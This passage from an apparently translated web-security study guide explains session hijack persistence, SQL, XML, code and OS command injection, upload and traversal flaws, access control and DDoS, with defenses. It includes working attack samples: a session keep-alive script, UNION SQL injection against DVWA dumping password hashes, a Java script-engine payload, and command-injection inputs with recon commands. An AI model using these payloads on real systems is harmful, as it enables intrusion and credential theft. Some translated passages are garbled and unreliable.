General applications will set an expiration time for the session, and the session will be destroyed when the expiration time is reached. However, in some systems, for the sake of user experience, as long as the user is still "alive", the user's Session will not be invalidated. Therefore, the attacker can keep the Session "alive" by continuously initiating access requests .

Keep the session alive for a long time:

<script>
//要保持session的url
var url ="http://bbs.yuanjing.com/wap/index.php?/sid=LOXSAJH4M";
//定时任务
window.setInterval("keeyId()",6000);
function keepsid(){
	document.getElementById("iframe1").src=url+"&time"+Math.random();
}
</script>
<iframe id="iframe1" src=""/></iframe>

Cookies never expire:

anehta.dom.persistCookie = function (cookieName){
if(anehta.dom.checkCookie(cookieName)==false){
`return false;
}
try{
	document.cookie = cookieName + "=" + anehta.dom.getCookie(cookieName)+";" + "expires=Thu, 01-Jan-2038 00:00:01 GMT;";
} catch( e){
	return false;
}
	return true;
}

An attacker can even add an Expire time to the Session Cookie, so that the Cookie that would otherwise expire after the browser is closed is persisted locally and becomes a third-party cookie (third-party cookie).

Protection scheme:

A common practice is to forcefully destroy the Session after a certain period of time. This time can be calculated from the time the user logs in, and a threshold is set, such as forcing the Session to expire after 3 days. But forcibly destroying the Session may affect some normal users. Another option is to require the user to log in again when the user client changes. For example, if the user's IP, UserAgent and other information have changed, the current Session can be forcibly destroyed and the user is required to log in again. Finally, what needs to be considered is that the same user can have several valid Sessions at the same time . If each user is only allowed to have one Session, it is impossible for an attacker to keep a Session all the time. When the user logs in again, the session held by the attacker will be "kicked out".

6 Injection attack

Injection attack is one of the most common attack methods in the field of web security. XSS is essentially an injection attack against HTML. The essence of an injection attack is to execute the data entered by the user as code. There are two key conditions here, the first is that the user can control the input; the second is the code to be executed by the original program, splicing the data input by the user . The core idea of ​​solving injection attacks: the principle of "separation of data and code".

image-20230329170025541

6.1 SQL Injection

SQL Injection

reason:

If the following conditions exist in the application, the application may be exposed to the high risk of SQL Injection:

  • In the application program, use string concatenation or joint query to combine SQL instructions.

  • Use an account with excessive permissions when the application links to the database (for example, many developers like to use the system administrator account with the highest authority to connect to the database).

  • Too much trust in the data entered by the user, no restrictions on the special characters entered, and no checking of potential instructions on the data entered by the user.

6.1.1 SQL Blind Injection

The so-called "blind injection" is an injection attack that is completed when the server has no error response. The server has no error echo, which is missing very important "debugging information" for the attacker, so the attacker must find a way to verify whether the injected SQL statement is executed.

The most common blind injection verification method is to construct a simple conditional statement, and judge whether the SQL statement is executed according to whether the returned page changes. For example, on the DVWA target machine platform, if you enter 1' and 1=1#, it will show that it exists, and if you enter 1' and 1=2#, it will show that it does not exist, so you can immediately determine the existence of the vulnerability.

SQL blind injection

6.1.2 Guessing the database

(1) Enter 1 first, and check the echo (ID=1 in the URL, indicating that the page passes parameters through the get method):

http://192.168.200.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

image-20230329170654215

//源代码 
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"

(2) Both return normal when inputting 1' order by 1# and 1' order by 2#, and return error when inputting 1' order by 3#:

Unknown column '3' in 'order clause

(3) Use the union select joint query to continue to obtain information

The union operator can combine the query result sets of two or more select statements into one result set for display, that is, execute a joint query. It should be noted that when using union query, it needs to have the same number of columns as the main query, and we already know that the number of columns in the main query is 2.

Enter 1' union select database(),user()#to query:

  • database() will return the name of the database used by the current website
  • user() will return the name of the user executing the current query
# 输入框
1' union select database(),user()#'
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
union select database(),user()#'
ID: 1' union select database(),user()#'
First name: admin
Surname: admin
ID: 1' union select database(),user()#'
First name: dvwa
Surname: dvwa@localhost

Through the information returned in the above figure, we successfully obtained:

  • The current website uses the database as dvwa
  • The current query user name is root@localhost

(4) Similarly, we enter 1' union select version(),@@version_compile_os# to query:

# 输入框
1' union select version(),@@version_compile_os#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
union select version(),@@version_compile_os#
  • version() Gets the current database version.
  • @@version_compile_os Get the current operating system.
ID: 1' union select version(),@@version_compile_os#
First name: admin
Surname: admin
ID: 1' union select version(),@@version_compile_os#
First name: 5.1.41-3ubuntu12.6-log
Surname: debian-linux-gnu

(5) Next we try to get the table name in the dvwa database. information_schema is a table that comes with mysql. This data table saves the information of all databases of the Mysql server: such as database name, database table, data type and access right of table column, etc. The database has a data table named tables, which contains two fields table_name and table_schema, which respectively record the stored table name and the database where the table name is located in the DBMS.

# 输入框
1' union select table_name,table_schema from
information_schema.tables where table_schema= 'dvwa'#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
union select table_name,table_schema from
information_schema.tables where table_schema= 'dvwa'#

result:

ID: 1' union select table_name,table_schema from
information_schema.tables where table_schema= 'dvwa'#
First name: admin
Surname: admin
ID: 1' union select table_name,table_schema from
information_schema.tables where table_schema= 'dvwa'#
First name: guestbook
Surname: dvwa
ID: 1' union select table_name,table_schema from
information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: dvwa

Through the information returned in the above figure, we can get: The dvwa database has two data tables, namely guestbook and users

(6) Try to obtain heavyweight username and password

From experience, we can boldly guess that the fields of the users table are user and password, so enter: 1' union select user,password from users# to query:

# 输入框
1' union select user,password from users#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: admin
ID: 1' union select user,password from users#
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee

It can be seen that the user name and password are successfully exploded. The password is encrypted with MD5 and can be decrypted at www.cmd5.com.

6.1.3 ORM injection

My shoe:

(1) Mybatis, a persistence layer framework commonly used in the Java ecosystem, can prevent SQL injection very well. For the following two mapper files, the former can be prevented, but the latter cannot. ${ }: Simple substitution, purely passing parameters in, without any escaping or precompilation.

<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = #{username,jdbcType=VARCHAR}
and password = #{password,jdbcType=VARCHAR}
</select>

<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = ${username,jdbcType=VARCHAR}
and password = ${password,jdbcType=VARCHAR}
</select>

Using the #{ } syntax, Mybatis will generate PreparedStatement parameters through the precompilation mechanism, and then assign values ​​​​to the parameters safely

<select id="getPerson" parameterType="string"
resultType="org.application.vo.Person">
SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE
'${phone}';
</select>

First of all, this is an incomplete usage. Note that the above parameter repair symbol phone, use {phone}, usep h o n e , using the {} parameter placeholder modifier, MyBatis will not make any modifications to the string, but directly insert it into the SQL statement.

Hibernate:

usernameString//前台输入的用户名
passwordString//前台输入的密码
//hql语句
String queryString = "from User t where t.username= " +
usernameString + " and t.password="+ passwordString;
//执行查询
List result = session.createQuery(queryString).list();

It is recommended to use parameter binding:

named parameter:

usernameString//前台输入的用户名
passwordString//前台输入的密码
//hql语句
String queryString = "from User t where t.username: usernameString and t.password: passwordString";
//执行查询
List result = session.createQuery(queryString)
.setString("usernameString ",
usernameString )
.setString("passwordString",
passwordString)
.list();

JDBC:

Connection conn =
DriverManager.getConnection(url,user,password);
String sql = "select * from product where name like '%" + request.getParameter("pname")+"%''" ;
Statement statement = conn.createStatement();
ResultSet rs = stat.executeQuery(sql);

solution:

Use preprocessing to execute SQL statements, and bind all the variables in the incoming SQL statements, so that no matter what the contents of the variables spliced ​​in by the user are, they will be regarded as the values ​​replaced by the substitution symbol "?", and the database will not put malicious The data spliced ​​in by the user is parsed as part of the SQL statement.

No matter which ORM framework is used, it will support user-defined splicing statements. Hibernate is often misunderstood. In fact, Hibernate also supports users to execute JDBC queries, and supports users to splice variables into SQL statements.

6.2 XML injection (XML injection)

XML injection is to use the information entered by the user as an XML node. In addition to SQL injection, there are other injection attacks in the field of web security. These injection attacks have the same characteristic, that is, the application violates the principle of "separation of data and code".

Similar to the principle of SQL injection, XML is the place to store data. If there is no escaping when querying or modifying, directly inputting or outputting data will lead to XML injection vulnerabilities. Attackers can modify the XML data format, add new XML nodes, and affect the data processing flow. If the user constructs malicious input data, it is possible to form an injection attack.

//userData是准备保存的XML数据,接受了name和email两个用户提交的数据
String userData = "<USER >"+
                "<name>"+
                request.getParameter("name")+
                "</name>"+
                "<email>"+
                request.getParameter("email")+
                "</email>"
                "</USER>"
//保存XML数据
userDao.save(userData);

For example, the data entered by the user is as follows:

user1
[email protected]</email></USER><USER><name>user2</name>
<email>[email protected]

A piece of data is inserted into the final generated XML file:

<USER>
    <name>user1</name>
    <email>[email protected]</email>
    </USER>
    <USER>
    <name>user2</name>
    <email>[email protected]</email>
</USER>

XML injection also needs to meet two conditions for injection attacks:

  • The user can control the input of data;

  • The program simply pieced together the data.

The patching solution is similar to that of HTML injection. Before XML is saved and displayed, XML escape is performed separately for the data part, as shown below:

String userData = "<USER>"+
                "<name>"+StringUtil.xmlEncode(request.getParameter("name"))+"
                </name>"+
                "<email>"+StringUtil.xmlEncode(request.getParameter("email"))+
                "</email>"+
                "</USER>"

escape rules

lt - <
gt - >
amp - &
apos - \'
quot - "

6.3 Code injection

Code injection, code injection attack. In the web application code, it is allowed to receive a piece of code input by the user, and then execute this code on the web application server and return it to the user. Since users can customize a piece of code and execute it on the server, malicious users can write a remote control Trojan horse to directly obtain server control rights. All resources on the server will be obtained and modified by malicious users, and even the database can be directly controlled. Code injection is a bit more special.

Code injection is often caused by some unsafe functions or methods, the typical representative of which is eval()

public static void main(String[] args) {
    //在Java中也可以实施代码注入,比如利用Java的脚本引擎。
    ScriptEngineManager manager = new
    ScriptEngineManager();
    //获得JS引擎对象
    ScriptEngine engine = manager.getEngineByName("JavaScript");
    try {
    	//用户录入
        String param = "hello";
        String command = "print('"+param+"')";
    	//调用JS中的eval方法
    	engine.eval(command);
    } catch (ScriptException e) {
    	e.printStackTrace();
    }
}

The value of the parameter param is specified and passed in by the user, and the attacker can submit the following data:

hello'); var fImport = new JavaImporter(java.io.File);
with(fImport) { var f = new File('new'); f.createNewFile(); }

solution:

To fight against code injection, it is necessary to prohibit the use of eval() and other functions that can execute commands. If these functions must be used, the user's input data needs to be processed. For example: the parameters of the code execution, or the file name, are prohibited from being related to user input, and only the developer can define the code content, and the user can only submit "1, 2, 3" parameters, which represent the corresponding code. Code injection is often caused by unsafe programming habits. Dangerous functions should be avoided in development as much as possible, and which functions are prohibited can be clearly indicated in the development specification.

6.4 OS command injection

OS **command injection**

OS command injection (Operating System Command injection or command injection for short) is an injection vulnerability. The payload injected by the attacker will be executed as an operating system command. OS command injection attacks are only possible if the web application code includes operating system calls and user input is used in the calls.

Once you've identified an OS command injection vulnerability, you can usually execute some initial commands to get information about the compromised system. Here is a summary of some commands useful on Linux and Windows platforms:

command purpose Linux Windows
current username whoami whoami
operating system uname -a ver
Network Configuration ifconfig ipconfig /all
Internet connection netstat -an netstat -an
running process ps -ef tasklist

For example, the developer of the application wants the user to be able to view the output of the Windows ping command in the web application. The user needs to enter an IP address, and the application sends an ICMP ping to that address. Unfortunately, developers trust users too much and don't perform input validation. Use the GET method to pass the IP address, then use it on the command line.

DVWA - Command Execution:

(1)127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.011 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time
2000ms
rtt min/avg/max/mdev = 0.011/0.012/0.013/0.000 ms

(2)127.0.0.1 && whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.011 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time
1998ms
rtt min/avg/max/mdev = 0.011/0.018/0.029/0.008 ms
www-data

(3)127.0.0.1 && ps -ef

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.013 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time
1998ms
rtt min/avg/max/mdev = 0.012/0.014/0.019/0.005 ms
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Nov15 ? 00:00:00 /sbin/init
root 2 0 0 Nov15 ? 00:00:00 [kthreadd]
root 3 2 0 Nov15 ? 00:00:00 [migration/0]
root 4 2 0 Nov15 ? 00:00:00 [ksoftirqd/0]
root 5 2 0 Nov15 ? 00:00:00 [watchdog/0]
root 6 2 0 Nov15 ? 00:00:32 [events/0]
root 7 2 0 Nov15 ? 00:00:00 [cpuset]
root 8 2 0 Nov15 ? 00:00:00 [khelper]

Protection scheme:

By far the most effective way to prevent OS command injection vulnerabilities is to never invoke OS commands from application layer code. In almost every case, there are alternative ways to achieve the desired functionality using safer platform APIs. Strong input validation must be implemented if it is deemed impossible to invoke an OS command via user-supplied input.

Some examples of valid validation include:

  • Validate against a whitelist of allowed values.
  • Validates that the input is a number.
  • Validate that the input contains only alphanumeric characters and no other syntax or spaces.

7 File Operation Protection

7.1 File upload vulnerability

On the Internet, we often use the file upload function, such as uploading a custom picture; sharing a video or photo; attaching an attachment when posting on a forum; attaching an attachment when sending an email, and so on.

The file upload function itself is a normal business requirement. For websites, users are often required to upload files to the server. So there is no problem with " file upload" itself, but what is problematic is how the server processes and interprets the file after the file is uploaded . If the processing logic of the server is not secure enough, it will lead to serious consequences.

The file upload vulnerability means that the user uploads an executable script file and obtains the ability to execute server-side commands through this script file. This attack method is the most direct and effective, and sometimes there is almost no technical threshold.

Common security issues caused by file uploads generally include:

  • The uploaded file is a web scripting language, and the web container of the server interprets and executes the script uploaded by the user, resulting in code execution;
  • The uploaded file is a virus or Trojan horse file, which is used by hackers to trick users or administrators into downloading and executing;
  • The uploaded file is a phishing picture or a picture containing a script, which will be executed as a script in some versions of the browser and used for phishing and fraud.

In most cases, the file upload vulnerability generally refers to the problem that "the uploaded web script can be parsed by the server", which is commonly referred to as the problem of the web shell. To complete this attack, the following conditions must be met:

First, uploaded files can be interpreted and executed by the web container. Therefore, if the directory where the file is uploaded is the path covered by the web container.

Second, users can access this file from the Web. If the file is uploaded, but the user cannot access it through the web, or cannot make the web container interpret the script, then it cannot be called a vulnerability.

Finally, if the content of the file uploaded by the user is changed by functions such as security check, formatting, and image compression, the attack may also fail.

solution:

To process user uploaded files, the following checks are required:

  • 1. Check the white list of uploaded file extensions, if they do not belong to the white list, uploading is not allowed.
  • 2. The directory for uploading files must be inaccessible by http requests. If access is required, it must be uploaded to another (different from the web server) domain name, and the directory must be set as a non-executable directory.
  • 3. The file name and directory name to be saved for the uploaded file are generated by the system according to the time and are not allowed to be customized by the user.
  • 4. The image upload needs to be processed (thumbnail, watermark, etc.), and it can be saved to the server only after there is no abnormality.
  • 5. Log records are required for uploading files.

7.2 File Download and Directory Browsing Vulnerabilities

It is caused by imprecise program design and coding. A good design should be: users are not allowed to submit arbitrary file paths for download, but the user clicks the download button to silently pass the ID to the background program.

File download and directory browsing vulnerabilities: File download and Directory traversal, arbitrary file download attacks and directory traversal attacks. When processing a user request to download a file, the user is allowed to submit any file path, and the corresponding file on the server is sent directly to the user, which will cause the threat of arbitrary file download. If the user is asked to submit the address of the file directory, the file list in the directory is sent to the user, which will cause a security threat to the directory traversal.

Malicious users will change directories or file addresses, download sensitive files on the server, database link configuration files, website source codes, etc.

Code to handle user requests:

String path = request.getParameter("path");
OutputStream os = response.getOutputStream();
FileInputStream fis = new FileInputStream(path);
byte[] buff = new byte[1024];
int i=0;
while((i=fis.read(buff))>0){
	os.write(buff,0,i);
}
fis.close();
os.flush();
os.close();

Protection scheme:

  • 1. Save the address of the file to be downloaded to the database.
  • 2. Save the file path to the database, and let the user submit the corresponding ID of the file to download the file.
  • 3. Do permission judgment before downloading files.
  • 4. Files are placed in a directory that cannot be directly accessed by the web.
  • 5. Record the file download log.
  • 6. It is not allowed to provide directory traversal services.

The directory browsing function is not enabled by default in Nginx. If you find that this function is currently enabled, you can edit the nginx.conf file and delete the following two lines:

autoindex on;

autoindex_exact_size on

Then restart Nginx.

8 Access Control

The term "permissions" comes up a lot in the security world. A "permission" is actually a "capability". The reasonable allocation of permissions has always been the core issue in security design. However, the Chinese meaning of the word "authority" is too broad, so "access control" will be used instead in this section. In the field of Internet security, especially in the field of Web security, the problem of "authority control" can be attributed to the problem of "access control", and this description is more precise.

In the Linux file system, permissions are divided into three capabilities: "read", "write", and "execute". A user may have "read" permission on a file, but not "write" permission.

In Web applications, according to different access objects, common access control can be divided into "URL-based access control" and "data-based access control".

In general, "URL-based access control" is the most common. To implement a simple "URL-based access control", it can be implemented by adding a filter in a Java-based Web application.

//获取访问功能
String url = request.getRequestPath();
//进行权限校验
User user = request.getSession.get("user");
//校验该用户是否有权限访问目标url
boolean permit = PrivilegeManager.permit(user,url);
if(permit){
	chain.doFilter(request,response);
}else{
	//未授权提示
}

Vulnerability platform: WooYun (black cloud)

8.1 Vertical permissions (functional permissions)

Vulnerabilities and defenses of URL-based access control.

Vertical Permissions (Functional Permissions)

Access control is actually to establish the corresponding relationship between users and permissions. Now a widely used method is "Role-Based Access Control (Role-Based Access Control)", referred to as RBAC. The final form is a certain user Which URLs can be accessed.

image-20230330162620410

RBAC will define different roles in the system in advance, and different roles have different permissions. A role is actually a collection of permissions. And all users of the system will be assigned to different roles, a user may have multiple roles, and there are high and low roles (high and low permissions) between roles. When the system verifies permissions, it only needs to verify the role to which the user belongs, and then it can authorize according to the permissions of the role.

For example: In a forum, there are three roles: admin, ordinary user, and anonymous user. The admin has the authority to delete, edit, and pin posts, the ordinary user has the authority to comment and browse posts, and the anonymous user only has the authority to browse posts. At present, there are Shiro, Spring Security and other mature frameworks based on RBAC model to deal with the problem of functional rights management and authentication.

vertical authority

Examples of vertical authority vulnerabilities:

The web application does not do permission control on the server side, but only hides some pages on the front-end menu display. At this time, malicious users can guess the URLs of other management pages, and then they can access or control data or pages owned by other roles, so as to achieve the purpose of ultra vires operations, which may make ordinary users have administrator rights.

A vertical permission vulnerability means that the web application does not perform permission control, or only controls the permission on the menu, so that malicious users can access or control data or pages owned by other roles as long as they guess the URL of other pages, thereby achieving privilege escalation. Purpose.

solution:

For any URL, every time a user visits, it is necessary to determine whether the user has the authority to visit this URL. It is recommended to use a mature permission solution framework, such as Spring Security.

8.2 Horizontal permissions (data permissions)

data-based access control

Both Zhang San and Li Si under the same department have access to clue management, but Zhang San can only operate Zhang San's clues, and Li Si can only operate Li Si's clues.

User A and user B may belong to the same role RoleX, but both user A and user B have some private data. Under normal circumstances, users can only access their own private data. For example, you have the function of deleting emails (operating authority ), but you can only delete your own mail, and you cannot delete other people's mail by mistake (data permission). However, under the RBAC model, the system only verifies whether user A belongs to role RoleX, and does not judge whether user A can access the data DataB that only belongs to user B. At this time, unauthorized access may occur.

This kind of problem is called "horizontal permission management problem", and it can also be called "data-based access control": compared with vertical permission management, the horizontal permission problem occurs on the same role, and the system only verifies the ability The role of accessing data does not subdivide the subset of data, so there is a lack of a correspondence between users and data levels. For data access control, it is closely integrated with business. At present, there is no unified data-level authority management framework, and specific problems are usually solved on a case-by-case basis.

Data permission is to control the visible range of access data, and the form of expression is: when a user has operation permission, it does not mean that he has the permission to view or manage all data. Generally manifested as row permissions and column permissions:

  1. Row permissions: restrict users' access to certain rows, for example: only access to the data of a certain person or department; it can also be restricted according to the scope of the data, for example: restrict users' access to data according to the size of the contract
  2. Column permissions: restrict users' access to certain columns, for example: the summary of certain content can be viewed, but the detailed content can only be viewed by VIP users

Vulnerability examples of horizontal permissions:

When the web application accepts the user's request and modifies a piece of data, it does not judge whether the current user can access the record (judging the owner of the data), resulting in malicious users being able to modify data that does not belong to them. For example: /api/v1/blog?blogId=xxx [DELETE]This is the url for deleting blog content. When the user changes the blogId, if the backend does not verify whether the owner of the blog is the current user, the blog content of other people can be deleted.

solution:

Do a good job of data-level permission control according to the user's ID, such as session authentication for CRUD operations, and verify the data permission of the object records accessed by the user to prevent unauthorized access to other people's private information by modifying the ID (according to business Scenes).

Access control is closely related to business needs, not just a security issue. Therefore, when solving such problems or designing permission control schemes, we must pay attention to business opinions. Finally, no matter which access control method you choose, you should meet the "principle of least privilege" when designing your solution, which is the golden rule of rights management.

9 IP black and white list

9.1 DDOS attack

DDOS is also called Distributed Denial of Service, and its full name is Distributed Denial of Service. DDOS originally used reasonable requests to cause resource overload, resulting in service unavailability.

For example, there are a total of 100 parking spaces in a parking lot. When all 100 parking spaces are full, if another car wants to park in, it must wait for the existing cars to leave first. If the existing cars do not go out all the time, there will be a long queue at the entrance of the parking lot, and the load of the parking lot will be overloaded and cannot work normally. This situation is called "denial of service". Our system is like a parking lot, and the resources in the system are parking spaces. Resources are finite, and services must always be provided. If the resources are already occupied, the service will also be overloaded, causing the system to stop new responses.

Distributed denial-of-service attacks magnify normal requests several times, and simultaneously launch attacks through several network nodes to achieve scale effects. These network nodes are often "broilers" controlled by hackers. When the number reaches a certain scale, a "botnet" is formed. Large-scale botnets have even reached the scale of tens of thousands or hundreds of thousands of units. A DDOS attack launched by a botnet of such scale is almost unstoppable.

Common DDOS attacks include SYN flood, UDP flood, ICMP flood, etc. Among them, SYN flood is the most classic DDOS attack. It was discovered in 1996, but it still maintains a very strong vitality. The reason why SYN flood is so rampant is that it takes advantage of the defects in the design of the TCP protocol, and the TCP/IP protocol is the foundation of the entire Internet, and it affects the whole body. Now it is almost impossible to repair such defects.

Syn_Flood attack principle:

The attacker first forges the address and initiates a SYN request to the server (can I establish a connection?), and the server will respond with an ACK+SYN (yes+please confirm). And the real IP will think that I have not sent a request and will not respond. If the server does not receive a response, it will retry 3-5 times and wait for a SYN Time (usually 30 seconds-2 minutes), then discard the connection.

If the attacker sends a large number of SYN requests of this kind of forged source address, the server will consume a lot of resources to process this semi-connection. IP to retry SYN+ACK. TCP is a reliable protocol. At this time, the message will be retransmitted. The default number of retries is 5 times. The interval between retries starts from 1s and doubles each time. They are 1s + 2s + 4s + 8s + 16s = 31s, respectively. After sending out the fifth time, it takes 32s to know that the fifth time has also timed out, so the total is 31 + 32 = 63s.

That is to say, a fake SYN message will occupy the TCP preparation queue for 63s. That is to say, without any protection, frequently sending fake SYN packets will exhaust the connection resources, so that the real connection Unable to establish, unable to respond to normal requests. The end result is that the server has no time to pay attention to normal connection requests - denial of service.

Syn_Flood Defense:

Cookie source authentication:

The principle is that the syn message is first responded to by the DDOS protection system with syn_ack. Bring a specific sequence number (recorded as a cookie). The real client will return an ack and the Ack number is cookie+1. A fake client, however, will not respond. In this way, we can know that the clients corresponding to those IPs are real, and add the real client IPs to the whitelist. The next visit will pass directly, while other forged syn messages will be intercepted.

reset authentication:

Reset authentication utilizes the reliability of the TCP protocol, and the DDOS protection system responds to syn first. The protection device responds to syn_ack after receiving the syn, and sets the Ack number (confirmation number) to a specific value (recorded as a cookie). When the real client receives this message and finds that the confirmation number is incorrect, it will send a reset message, and the sequence number is cookie + 1. And forged sources, there will be no response. This way we can whitelist the real client IP.

In many anti-DDOS products, various algorithms are generally used comprehensively, combined with some characteristics of DDOS attacks, to clean the traffic. Network devices against DDOS can be connected in series or in parallel at the network exit. But DDOS is still a difficult problem in the industry. When the attack traffic exceeds the maximum load of network equipment or even bandwidth, the network will still be paralyzed. Generally speaking, the reason why large websites seem to be more "resistant" to DDOS attacks is because large websites have sufficient bandwidth and a large number of servers in the cluster. However, the resources of a cluster are limited after all. In an actual attack, the DDOS traffic can even reach several gigabytes to tens of gigabytes. In this case, we can only cooperate with the network operator to complete the response to the DDOS attack.

DDOS attack and defense is a complex topic, so we will not discuss in-depth DDOS attack and defense at the network layer here.

9.2 CC attack

CC attack is a way of DDOS attack, which can be understood as a DDOS attack at the application layer.

The attacker uses the proxy server to generate a legitimate request directed to the victim host to achieve DDOS and camouflage: CC (Challenge Collapsar).

The principle of CC attack is very simple, that is, to continuously initiate normal requests to some application pages that consume large resources, in order to achieve the purpose of consuming server resources. In web applications, operations such as querying databases and reading/writing hard disk files will relatively consume more resources. A very typical example:

String sql = " select * from post where targid=${targid} order by postid desc limit ${start},30";

When the data in the post table is huge, the pages are turned frequently, and the number of start increases sharply, the query result set = when the number of {start} increases sharply, the query result set =When the number of s t a r t increases sharply, the query result set= {start}+30; The efficiency of this query shows an obvious downward trend, but due to multiple concurrent and frequent calls, the query cannot be completed immediately, and resources cannot be released immediately, which will lead to too many database connection requests, database blockage, and the website cannot be opened normally.

CC makes full use of this feature, simulating multiple users to continuously access those high-calculation and high-IO data. Why use a proxy? Because the proxy can effectively hide its identity, it can also bypass all firewalls, because basically all firewalls will detect the number of concurrent TCP/IP connections, and if it exceeds a certain number and frequency, it will be considered as Connection-Flood.

The Internet is full of crawlers (spiders) of various search engines and information collection systems, and it happens from time to time that the crawlers directly crawl small websites to death, which is very similar to the result of an application-layer DDOS attack.

Application layer DDOS attacks can also be accomplished in the following ways: After hackers invade a website with a lot of traffic, they divert huge user traffic to the target website by tampering with the page.

<!--那么访问该页面的用户,都将对target发起一个get请求,这可能直接导致target拒绝服务-->
<iframe src="http://target" height="0" width="0">
</iframe>

Application layer DDOS attack is an attack on server performance, so many methods of optimizing server performance can more or less alleviate this kind of attack. For example, if you put frequently used data in memcache, compared to the resources consumed by querying the database, the resources consumed by querying memcache can be ignored.

However, many performance optimization solutions are not designed to resist DDOS attacks at the application layer, so it is not difficult for an attacker to find a page that consumes a lot of resources. For example, when the memcache query fails, the server will inevitably query the database, thereby increasing the consumption of server resources, and the attacker only needs to find such a page.

At the same time, in addition to triggering the "read" data operation, the attacker can also trigger the "write" data operation. The behavior of "writing" data will generally cause the server to operate the database.

9.3 CC Protection

Application layer DDOS attack is not an unsolvable problem. Generally speaking, we can start from the following aspects.

First of all, the application code should be optimized for performance. Reasonably making the cache is a good optimization solution to transfer the pressure of the database to the memory as much as possible. In addition, resources need to be released in a timely manner, such as closing database connections in time to reduce consumption of empty connections.

Second, optimize the network architecture. Good at using load balancing to divert traffic to avoid user traffic being concentrated on a single server. At the same time, we can make full use of the splitting function of CDN and mirror sites to relieve the pressure on the main site.

Furthermore, using page static technology , using the cache function of the client browser or the cache service of the server, and the cache service of the CDN node, can reduce the data retrieval and calculation pressure on the server, quickly respond to the results and release the connection process.

Finally, and most importantly, implement some countermeasures, such as limiting the request frequency of each IP address, and dynamically adding to the blacklist after exceeding the limit policy

(1) verification code

For example, the following is a page where users submit comments. Embedding verification codes can effectively prevent resource abuse, because usually scripts cannot automatically recognize verification codes. However, verification codes are also divided into grades, six grades, and some verification codes are easy to identify, while others are more difficult to identify. The original intention of the verification code was to identify people and machines. However, if the verification code is designed too complicated, it will be difficult for people to identify it, so the verification code is a double-edged sword.

(2)Detecting system abuse

Yahoo provides us with a solution. If the IP addresses that initiate the application-layer DDOS attack are all real, in reality, it is impossible for the attacker's IP address to increase without limit. Suppose the attacker has 1,000 IP addresses to launch an attack. If the request is 10,000 times, each IP address requests the same page 10 times on average. If the attack continues, the number of requests for a single IP address will also increase, but no matter how it changes, Polling is done within the range of these 1000 IP addresses.

For this reason, Yahoo has implemented a set of algorithms, which can calculate the frequency of client requests and intercept them based on information such as IP addresses and cookies. The system designed by Yahoo is also a module developed for Web Server, but in the overall architecture, there will be a master server to centrally calculate the request frequency of all IP addresses, and synchronize the strategy to each Web server.

Yahoo has applied for a patent for this (Detecting system abuse), so we can check the public information of this patent to learn more details

The defense system designed by Yahoo has been tested in practice and can effectively fight against application layer DDOS attacks and some similar resource abuse attacks. But Yahoo did not make it open source, so for some Internet companies with strong research and development capabilities, they can implement a similar system according to the description in the patent.

Patent page: http://patentimages.storage.googleapis.com/pdfs/US7533414.pdf

9.4 IP black and white list method

Alibaba Cloud security products:

image-20230330165447090

  • Web Application Firewall - IP blacklist and whitelist configuration
  • CDN - Configure IP blacklist and whitelist
  • DDoS protection - configure black and white list
  • Develop IP black and white list function

(1)OpenResty

OpenResty is a scalable web platform based on Nginx, initiated by Chinese Zhang Yichun, which provides many high-quality third-party modules. OpenResty is a powerful web application server. Web developers can use Lua scripting language to mobilize various C and Lua modules supported by Nginx. More importantly, in terms of performance, OpenResty can quickly construct a super server capable of responding to more than 10K concurrent connections. High performance web application system. 360, UPYUN, Alibaba Cloud, Sina, Tencent, Qunar, Kugou Music, etc. are all deep users of OpenResty.

(2)Lua

Lua is a lightweight and compact scripting language written in standard C language and open in the form of source code. It is designed to be embedded in applications to provide flexible expansion and customization functions for applications. Lua was developed in 1993 by a research group at the Pontifical Catholic University of Rio de Janeiro, Brazil.

Write functions such as current limit, authority authentication, black and white list through Lua

aim of design:

It is designed to be embedded in applications, providing flexible extensions and customizations for applications

Lua features:

  • Lightweight: It is written in standard C language and opened in the form of source code. After compilation, it only costs more than 100 K, and can be easily embedded in other programs.
